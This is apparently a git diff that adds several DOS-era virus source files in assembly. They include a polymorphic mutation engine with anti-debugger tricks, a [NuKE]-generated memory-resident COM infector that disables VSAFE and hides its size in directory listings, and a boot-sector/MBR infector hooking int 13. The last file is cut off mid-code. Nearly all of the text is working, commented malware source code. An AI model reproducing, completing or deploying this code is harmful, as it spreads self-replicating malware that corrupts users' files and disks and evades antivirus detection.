'*.COM', 0 + +poly_in_mem db 0 ; 00h means it is run normally from file + ; 01h means the virus is executed from a poly + ; generation in memory (when an AV is going + ; to be run). the 01h is at the same time + ; used as the value where the seg:off of + ; the jump to int21h is, this is at + ; virussegment:1) +poly_segmem dw 0000h ; segment of the virus in memory at + ; disactivation when an AV started + +encvir_dx dw 0 ; seg:off of the encrypted +encvir_ds dw 0 ; virus in memory +orig_int21h dw 0000h, 0000h ; seg:off of original int 21h + +int24_off dw 0000h +int24_seg dw 0000h + +fast_cntr db 0 ; infected files during fast + ; infection +good_inf db 0 ; 01h last fast infection was + ; succesfull, 00h it wasn't +finf_name dw 0000h, 0000h ; DS:DX on filename that is + ; going to be infected +orig_att dw 00h ; original file attributes + +f_time db 000h +; -> Virus end on disk ! <- + +tsnbt_fend: + db 00h +f_date dw 00h ; original file date +f_length dw 00h ; original file length +mem_buff db 1eh dup (?) +buff_1 db 12h dup (?) +buff_2 db 3336h dup (?) +mem_end: + +seg_a ends + + end tsnbt_start + diff --git a/u/ULTIMUTE.ASM b/u/ULTIMUTE.ASM new file mode 100755 index 0000000..3fc488a --- /dev/null +++ b/u/ULTIMUTE.ASM @@ -0,0 +1,584 @@ +; +; The ULTImate MUTation Engine .93 (c) 1993 Black Wolf Enterprises +; pardon the title, had to think of something... }-) +; +;ULTIMUTE is a mutation engine written for security-type applications and +;other areas where mutation of executable code is necessary. For my personal +;use, I have implemented it in Black Wolf's File Protection Utilities 2.1s, +;using it to encrypt the code placed onto EXE's and COM's to protect them +;from simple modification and/or unauthorized use. The encryption algorithms +;themselves are terribly simple - the main point being that they change +;each time and are difficult to trace through. This engine is written mainly +;to keep a "hack one, hack 'em all" approach from working on protected code, +;rather than to keep the code secure by a cryptologist's point of view. +; +;Including: Better Anti-Tracing abilities, 1017 byte size, Anti-Disassembling +; code, largely variable size for decoder. Also includes variable +; calling segmentation (i.e. CS<>ES<>DS, and can be called via +; near call, far call, or interrupt, the last of which can be +; useful as a memory-resident handler for multiple programs to +; use). +; +;Note: Please - this program and it's source have been released as freeware, +; but do NOT use the mutation engine in viruses! For one thing, the +; decryptor sequence has several repetitive sequences that can be scanned +; for, and for another, that just isn't what it was designed for and +; I would NOT appreciate it. If you MUST use someone else's mutation +; engine for such, use the TPE or MTE. I do NOT condone such, however. +; +;Any modifications made to this program should be listed below the solid line, +;along with the name of the programmer and the date the file was changed. +;Also - they should be commented where changed. If at all possible, report +;modifications to file to the address listed in the documentation. +; +;DISCLAIMER: The author takes ABSOLUTELY NO RESPONSIBILITY for any damages +;resulting from the use/misuse of this program. The user agrees to hold +;the author harmless for any consequences that may occur directly or +;indirectly from the use of this program by utilizing this program/file +;in any manner. Please use the engine with care. +; +;Modifications: +; None as of yet (original release version) + +.model tiny +.radix 16 +.code + + public _ULTMUTE, _END_ULTMUTE, Get_Rand, Init_Rand + +;Underscores are used so that these routines can be called from C and other +;upper level languages. If you wish to use Get_Rand and Init_Rand in C, you +;need to add underscores in their names as well. Also, the random number +;generations may not be sound for all purposes. They do the job for this +;program, but they may/may not be mathematically correct. + +; +;ENTRY: +; CX=Code Length BX=New_Entry_Point +; DS:SI=Code AX=Calling Style +; ES:DI=Destination 1=Near Call, 2=Far Call, 3=Int Call +; +;RETURN: +; CX=New Size ES:DI = Same, now contains encrypted code +; w/decryptor +; +_ULTMUTE: + push bp ax bx cx dx es ds si di + call Get_Our_Offset + Offset_Mark: + inc cx + inc cx + mov word ptr cs:[bp+1+Set_Size],cx + mov word ptr cs:[Start_Pos+bp],bx + call Init_Rand + call Get_Base_Reg + call Setup_Choices + call Create_EncDec + call Copy_Decrypt_Code + call Encrypt_It +Ending_ULTMUTE: + pop di si ds es dx cx bx ax + add cx,cs:[Decryptor_Length+bp] + inc cx + inc cx + pop bp + cmp ax,3 ;Select Returning method, i.e. retn, retf, iret + je Int_Call + cmp ax,2 + je Far_Call +Near_Call: + retn +Far_Call: + retf +Int_Call: + iret +; +Get_Our_Offset: + mov bp,sp + mov bp,ss:[bp] ;This trick finds our current offset + sub bp,offset Offset_Mark ;from the compiling point, as it + ret ;is usually not constant.... +; +Init_Rand: + push ax ds + xor ax,ax + mov ds,ax + mov ax,ds:[46c] ;Get seed from timer click at + pop ds ;0000:046c + mov cs:[rand_seed+bp],ax + pop ax + ret +; +Get_Rand: + push cx dx + mov ax,cs:[rand_seed+bp] + mov cx,0deadh + mul cx ;This probably isn't a good algorithm, + xor ax,0dada ;(understatement) but it works for + ror ax,1 ;our purposes in this application. + mov cs:[rand_seed+bp],ax + pop dx cx + ret +; +rand_seed dw 0 +Base_Reg db 0 +Base_Pointer db 0 +Start_Pos dw 0 +; +Get_Base_Reg: + call Get_Rand + and ax,11b + cmp al,1 ;Eliminate CX for loop purposes + je Get_Base_Reg + mov byte ptr cs:[bp+Base_Reg],al + Do_Pointer_Reg: + call Get_Rand + shr al,1 + jc Done_Base_Reg + mov byte ptr cs:[bp+Base_Pointer],0 + ret + Done_Base_Reg: + mov byte ptr cs:[bp+Base_Pointer],1 + ret +; +Setup_Choices: + push ds si + push cs + pop ds + mov si,bp + + call Get_Rand + mov word ptr [si+Xor_It+2],ax ;Randomize Xor + call Get_Rand + mov word ptr [si+Dummy3+2],ax ;Randomize Add/Sub + mov word ptr [si+Dummy7+2],ax + + call Get_Rand ;Randomize Add/Sub + mov word ptr [si+Dummy4+2],ax + mov word ptr [si+Dummy8+2],ax + + call Get_Rand + mov byte ptr [si+Rand_Byte1],al ;Randomize Random bytes + mov byte ptr [si+Rand_Byte2],ah + call Get_Rand + mov byte ptr [si+Rand_Byte3],al + mov byte ptr [si+Rand_Byte4],ah + call Get_Rand + mov byte ptr [si+Rand_Byte5],al + mov byte ptr [si+Rand_Byte6],ah + call Get_Rand + mov byte ptr [si+Rand_Byte7],al + mov byte ptr [si+Rand_Byte8],ah + call Get_Rand + mov byte ptr [si+Rand_Byte9],al + mov byte ptr [si+Rand_Byte10],ah + + mov al,byte ptr [si+Base_Reg] + Set_Switcher: + and byte ptr [si+Switcher+1],0e6 ;Delete Register + mov ah,al + shl ah,1 + shl ah,1 + shl ah,1 + or byte ptr [Switcher+1+si],ah + Set_Switcher_Pointer: + push ax + mov al,byte ptr [si+Base_Pointer] + or byte ptr [si+Switcher+1],al + Set_Set_Pointy: + and byte ptr [si+Set_Pointy],0fe + or byte ptr [si+Set_Pointy],al + and byte ptr [si+Inc_Pointy],0fe + or byte ptr [si+Inc_Pointy],al + and byte ptr [si+Inc_Pointy+1],0fe + or byte ptr [si+Inc_Pointy+1],al + pop ax + Set_Xorit: + and byte ptr [si+Xor_It+1],0fc + or byte ptr [si+Xor_It+1],al + Set_Flip_It: + and byte ptr [si+Flip_It+1],0e4 + or byte ptr [si+Flip_It+1],al + or byte ptr [si+Flip_It+1],ah + Set_Rotate_It: + and byte ptr [si+do_rotate+1],0fc + or byte ptr [si+do_rotate+1],al + and byte ptr [si+do_rot2+1],0fc + or byte ptr [si+do_rot2+1],al + Set_IncDec: + and byte ptr [si+inc_bx_com],0fc + or byte ptr [si+inc_bx_com],al + and byte ptr [si+dec_bx_com],0fc + or byte ptr [si+dec_bx_com],al + + and byte ptr [si+Dummy5],0fc + or byte ptr [si+Dummy5],al + and byte ptr [si+Dummy6],0fc + or byte ptr [si+Dummy6],al + + Set_AddSub: + and byte ptr [si+Dummy3+1],0fc + and byte ptr [si+Dummy4+1],0fc + or byte ptr [si+Dummy3+1],al + or byte ptr [si+Dummy4+1],al + + and byte ptr [si+Dummy7+1],0fc + and byte ptr [si+Dummy8+1],0fc + or byte ptr [si+Dummy7+1],al + or byte ptr [si+Dummy8+1],al + pop si ds + ret +; +Create_EncDec: + push es di cx + push cs + pop es + lea di,[bp+Encrypt_Sequence] + call Get_Rand + and ax,1fh + shr ax,1 ;Insure odd number of encryptors to prevent + shl ax,1 ;things like "INC AX / DEC AX" to leave prog + inc ax ;unencrypted. + + mov byte ptr cs:[bp+Encrypt_Length],al + xchg cx,ax +Make_Pattern: + call Get_Rand + and ax,7 + stosb + loop Make_Pattern + pop cx di es + ret +; +Copy_Decrypt_Code: + push si di bx cx ds + push bx di ;save for loop + + push cs + pop ds + + lea si,[bp+Set_Pointy] + movsw + movsb + lodsb ;Copy initial encryptor + movsw + movsb + lodsb + movsw + + mov cl,byte ptr cs:[bp+Encrypt_Length] + xor ch,ch + lea si,[Encrypt_Sequence+bp] ;didn't have bp earlier + Dec_Set_Loop: + push cx + lodsb + push si ;Create the Decryptor from Sequence + + mov bl,al + xor bh,bh + shl bx,1 + add bx,bp + add bx,offset Command_Table + mov ax,cs:[bx] + + mov cl,ah + xor ah,ah + + lea si,[Xor_It+bp] + add si,ax + repnz movsb + + pop si + pop cx + loop Dec_Set_Loop + + + lea si,[Switcher+bp] + movsw + lodsb ;Finish off Decryptor + movsw + lodsb + + movsw ;Loop Setup + movsw + + pop si bx + mov ax,di ;Set Loop + sub ax,si ;Do size of loop and offset from loop + + mov cs:[Decryptor_Length+bp],ax + + push ax ;Changed for Jump + not ax + add ax,5 + stosw + pop ax + + add bx,ax ;Set initial Pointer + mov es:[si+1],bx + + mov ax,di + pop ds cx bx di si + push si di bx cx +Copy_Prog: + push ax + sub ax,di + add ax,bx + mov word ptr es:[di+1],ax + pop ax + mov di,ax + repnz movsb + pop cx bx di si + ret +; +Encrypt_It: + push bx cx di si + + call set_seqp + + mov ax,cs:[Decryptor_Length+bp] + inc ax + inc ax + add di,ax ;DI=start of code to be encrypted + ;CX=Length of code to encrypt + mov si,di + push es + pop ds +Big_Enc_Loop: + push cx + call Switcher + mov cx,cs:[Encrypt_Length+bp] + + Encrypt_Value: + push ax bx cx dx si di + mov si,cs:[Save_SI+bp] + dec si + mov bl,cs:[si] ;?? + mov cs:[Save_SI+bp],si + lea si,cs:[Com_Table_2+bp] + xor bh,bh + shl bx,1 + add si,bx + mov bx,cs:[si] + add bx,bp + mov word ptr cs:[Next_Command+bp],bx + pop di si dx cx bx ax + call cs:[Next_Command+bp] + Loop Encrypt_Value + + pop cx + call Switcher + call Inc_Pointy + call set_seqp + loop Big_Enc_Loop + pop si di cx bx + ret + +Save_SI dw 0 +Next_Command dw 0 +set_seqp: + push si + lea si,cs:[Encrypt_Sequence+bp] ;SI=Encrypt_Sequence + add si,cs:[Encrypt_Length+bp] ;SI=End of Encrypt Sequence + mov cs:[Save_SI+bp],SI + pop si + ret +; +Command_Table: ;8 commands -> 3 bits. + db [Xor_It-Xor_It],(Flip_It-Xor_It-1) + db [Flip_It-Xor_It],(Rotate_It_1-Flip_It-1) + db [Rotate_It_1-Xor_It],(Rotate_It_2-Rotate_It_1-1) + db [Rotate_It_2-Xor_It],(Dummy1-Rotate_It_2-1) + db [Dummy1-Xor_It],(Dummy2-Dummy1-1) + db [Dummy2-Xor_It],(Dummy3-Dummy2-1) + db [Dummy3-Xor_It],(Dummy4-Dummy3-1) + db [Dummy4-Xor_It],(Dummy5-Dummy4-1) +Com_Table_2: + dw [offset Xor_It] + dw [offset Flip_It] + dw [offset Rotate_It_2] + dw [offset Rotate_It_1] + dw [offset Dummy5] + dw [offset Dummy6] + dw [offset Dummy7] + dw [offset Dummy8] +; +Set_Pointy: + mov di,1234 ;Pointer to Code + ret +Set_Size: + mov cx,1234 ;Size + ret +Switcher: + xchg bx,[di] + ret +Inc_Pointy: + inc di + inc di + ret + +Loop_Mut: + dec cx + jz End_Loop_Mut + loop_set: + jmp _ULTMUTE + End_Loop_Mut: + ret +Xor_It: + xor bx,1234 + ret +Flip_It: + xchg bh,bl + ret + +Rotate_It_1: + jmp before_rot +do_rotate: + ror bx,1 + jmp after_rot +before_rot: + push ax + call Ports1 + pop ax + jmp do_rotate +Ports1: + in al,21 + or al,02 + out 21,al + ret + +Ports2: + in al,21 + xor al,02 + out 21,al + ret +after_rot: + push ax + call ports2 + pop ax + ret + +Rotate_It_2: + cli + jmp confuzzled1 +do_rot2: + rol bx,1 + call Switch_Int_1_3 + jmp donerot2 + +confuzzled1: + call Switch_Int_1_3 + jmp do_rot2 + +Switch_Int_1_3: + push ax ds + xor ax,ax + mov ds,ax + jmp short exch1 + db 0eah +exch1: + xchg ax,word ptr ds:[4] + jmp short exch2 + db 9ah +exch2: + xchg ax,word ptr ds:[0c] + xchg ax,word ptr ds:[4] + pop ds ax + ret +donerot2: + ret + +Dummy1: + jmp short inc_bx_com ;Kill Disassemblers + db 0ea + Rand_Byte1: + db 0ea + inc_bx_com: + inc bx + ret +Dummy2: + jmp short Kill_1 + Rand_Byte2: + db 0ea + Cont_Kill1: + cli + xchg ax,ds:[84] + xchg ax,ds:[84] + sti + pop ds ax + dec_bx_com: + dec bx + jmp short quit_Kill1 + Kill_1: + push ax ds + xor ax,ax + mov ds,ax ;Anti-Debugger (Kills Int 21) + jmp short Cont_Kill1 + Rand_Byte3: + db 0e8 + quit_Kill1: + ret +Dummy3: + add bx,1234 + push bx + call throw_debugger + Rand_Byte4: + db 0e8 ;Prefetch Trick + into_throw: + sub bx,offset Rand_Byte4 + add byte ptr [bx+trick_em+1],0ba + trick_em: + jmp short done_trick + Rand_Byte5: + db 0ea + throw_debugger: + pop bx + jmp short into_throw + Rand_Byte6: + db 0ea + done_trick: + sub byte ptr [bx+trick_em+1],0ba + pop bx + ret +Dummy4: + sub bx,1234 + jmp short Get_IRQ +Rand_Byte7 db 0e8 +Kill_IRQ: + out 21,al + xor al,2 + jmp short Restore_IRQ +Rand_Byte8 db 0e8 +Rand_Byte9 db 0e8 ;This will kill the keyboard + Get_IRQ: ;IRQ + push ax + in al,21 + xor al,2 + jmp short Kill_IRQ +Rand_Byte10 db 0e8 +Restore_IRQ: + out 21,al + pop ax + ret + +;The following are used for the encryption algorithm to reverse commands that +;include anti-tracing. +Dummy5: + dec bx + ret +Dummy6: + inc bx + ret +Dummy7: + sub bx,1234 + ret +Dummy8: + add bx,1234 + ret +; +Decryptor_Length dw 0 +Encrypt_Length dw 0 +Encrypt_Sequence db 30 dup(0) +; +_END_ULTMUTE: +end _ULTMUTE diff --git a/u/UNEVIE.ASM b/u/UNEVIE.ASM new file mode 100755 index 0000000..5087a46 --- /dev/null +++ b/u/UNEVIE.ASM @@ -0,0 +1,473 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +sub byte ptr [di],087h +inc word ptr [di] +xor byte ptr [di],022h +inc word ptr [di] +xor byte ptr [di],030h +add byte ptr [di],075h +xor byte ptr [di],061h +sub byte ptr [di],0b9h +xor word ptr [di],0e185h +add word ptr [di],0aa17h +not word ptr [di] +inc byte ptr [di] +inc word ptr [di] +xor word ptr [di],0c3d7h +sub word ptr [di],04a83h +not byte ptr [di] +xor word ptr [di],06acdh +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +xor word ptr [di],06acdh +not byte ptr [di] +add word ptr [di],04a83h +xor word ptr [di],0c3d7h +dec word ptr [di] +dec byte ptr [di] +not word ptr [di] +sub word ptr [di],0aa17h +xor word ptr [di],0e185h +add byte ptr [di],0b9h +xor byte ptr [di],061h +sub byte ptr [di],075h +xor byte ptr [di],030h +dec word ptr [di] +xor byte ptr [di],022h +dec word ptr [di] +add byte ptr [di],087h +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ; +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov cx,50 ;50 beep's! +beep: ;beep label! +mov ax,0E07h ; +int 10h ;print beep char +loop beep ;go! +NO_DAY: ; +ret ; +;--------------------------------- + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 01fH ;day for the action +action_mes Db 0cH ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/u/UNIFORM.ASM b/u/UNIFORM.ASM new file mode 100755 index 0000000..c53b70c --- /dev/null +++ b/u/UNIFORM.ASM @@ -0,0 +1,270 @@ +.model tiny +.code +.radix 16 + +boot_info struc ; bootsector structure + oem_name db 8 dup (?) ; oem name and version + sect_size dw ? ; bytes per sector + clust_size db ? ; sectors per cluster + res_secs dw ? ; reserved sectors before fat + fat_count db ? ; number of fats + root_size dw ? ; maximum root entries + tot_secs dw ? ; total sectors on disk + media_type db ? ; media type (unreliable) + fat_size dw ? ; sectors in fat (per fat) + track_secs dw ? ; sectors per track + head_count dw ? ; number of heads + hidn_secs dw ? ; hidden sectors +boot_info ends + +BASE equ 7c00 + +;****************************************************************************** + org 100 + +install: mov ah,9 + lea dx,msg + int 21 + mov ax,3513 + int 21 + mov [old_int13],bx + mov [old_int13+2],es + mov ax,ds + add ax,7c0 + mov ds,ax + lea dx,new_int13-BASE + mov ax,2513 + int 21 + lea dx,virus_end+400 + int 27 +msg db 0dh,0ah,'UNIFORM installed in memory!',0dh,0ah,'$' +;****************************************************************************** + org 7c00 + +virus equ $ ; virus also begins + +boot_sector equ $ + jmp boot_start ; jump to bootsector code + db 90 + +boot_data boot_info <'UNIFORM '> ; bootsector info + + org boot_sector+3e ; bootsector code + +boot_start: cli ; set initial registers, like + xor bx,bx ; stack and data segment + mov ds,bx + mov ss,bx + mov si,7c00 + mov sp,si + sti + + sub word ptr ds:[413],virus_size_k ; reserve space for virus + int 12 + + push cs + pop ds + mov cl,6 ; read rest of virus in + shl ax,cl ; memory below tom + push ax + mov es,ax + xor di,di + mov cx,100 + rep movsw + mov ax,offset init_boot-BASE + push ax + retf + +old_int13 dw 0,0 ; old int 13 pointer + +init_boot: xor ax,ax + mov ds,ax + cli + lea di,old_int13-BASE + lea ax,new_int13-BASE ; hook the int 13 vector + xchg ax,ds:[4*13] + stosw + mov ax,cs + xchg ax,ds:[4*13+2] + stosw + + sti + + xor ax,ax ; read the original sector + mov es,ax ; at 0000:7C00 +read_main_body: mov bx,7c00 + push es + push bx + mov ax,0201 + mov dx,0 ; this gets modified +drivehead equ word ptr $-2 + mov cx,0 ; this gets modified +sectortrack equ word ptr $-2 + int 13 + jc read_main_body ; loop to read_main_body when + ; a read error is occured + +infect_mbr_now: mov ax,0201 ; this reads the mbr while + lea bx,virus_end-BASE ; the virus is resident, + push cs ; causing a mbr infection + pop es + mov cx,1 + mov dx,80 + int 13 + + retf ; return to 0000:7C00 + +check_boot: push es ; checks to see if the boot + pop ds ; sector is the same as the + push cs ; virus image. the zero flag + pop es ; is set when they are the same + mov si,bx + add si,boot_data-boot_sector + lea di,boot_data-BASE + mov cx,8 + rep cmpsb + or cx,cx + ret + +chain_to_int13: jmp dword ptr cs:[old_int13-BASE] ; chain to original int 13 + +handle_int13: pushf ; call the original int 13 + call dword ptr cs:[old_int13-BASE] + ret + +new_int13: cmp ah,2 ; is it a read command + jne chain_to_int13 ; no -> chain_to_int13 + cmp dh,0 ; is it head 0 + jne chain_to_int13 ; no -> chain_to_int13 + cmp cx,1 ; is it sector 1 + jne chain_to_int13 ; no -> chain_to_int13 + cmp dl,2 ; is it diskdrive + ja harddisk ; no -> harddisk + +handle: call handle_int13 + jnc boot_read + retf 2 + +harddisk: cmp dl,80 ; is it the harddisk + jne chain_to_int13 ; no -> chain_to_int13 + call handle_int13 + jnc handle_mbr + retf 2 + +handle_mbr: pushf + push ds es si di cx + call check_boot + jnz infect_mbr + pop cx + mov cx,3 + jmp read_mbr + +infect_mbr: mov ax,0301 + mov cx,3 + mov cs:[sectortrack-BASE],cx + mov cs:[drivehead-BASE],dx + push ds + pop es + call handle_int13 + jc it_is_done + mov ax,0301 + lea bx,boot_sector-BASE + mov cx,1 + push cs + pop es + call handle_int13 +it_is_done: jmp wrong_media + +boot_read: + pushf + push ds es si di 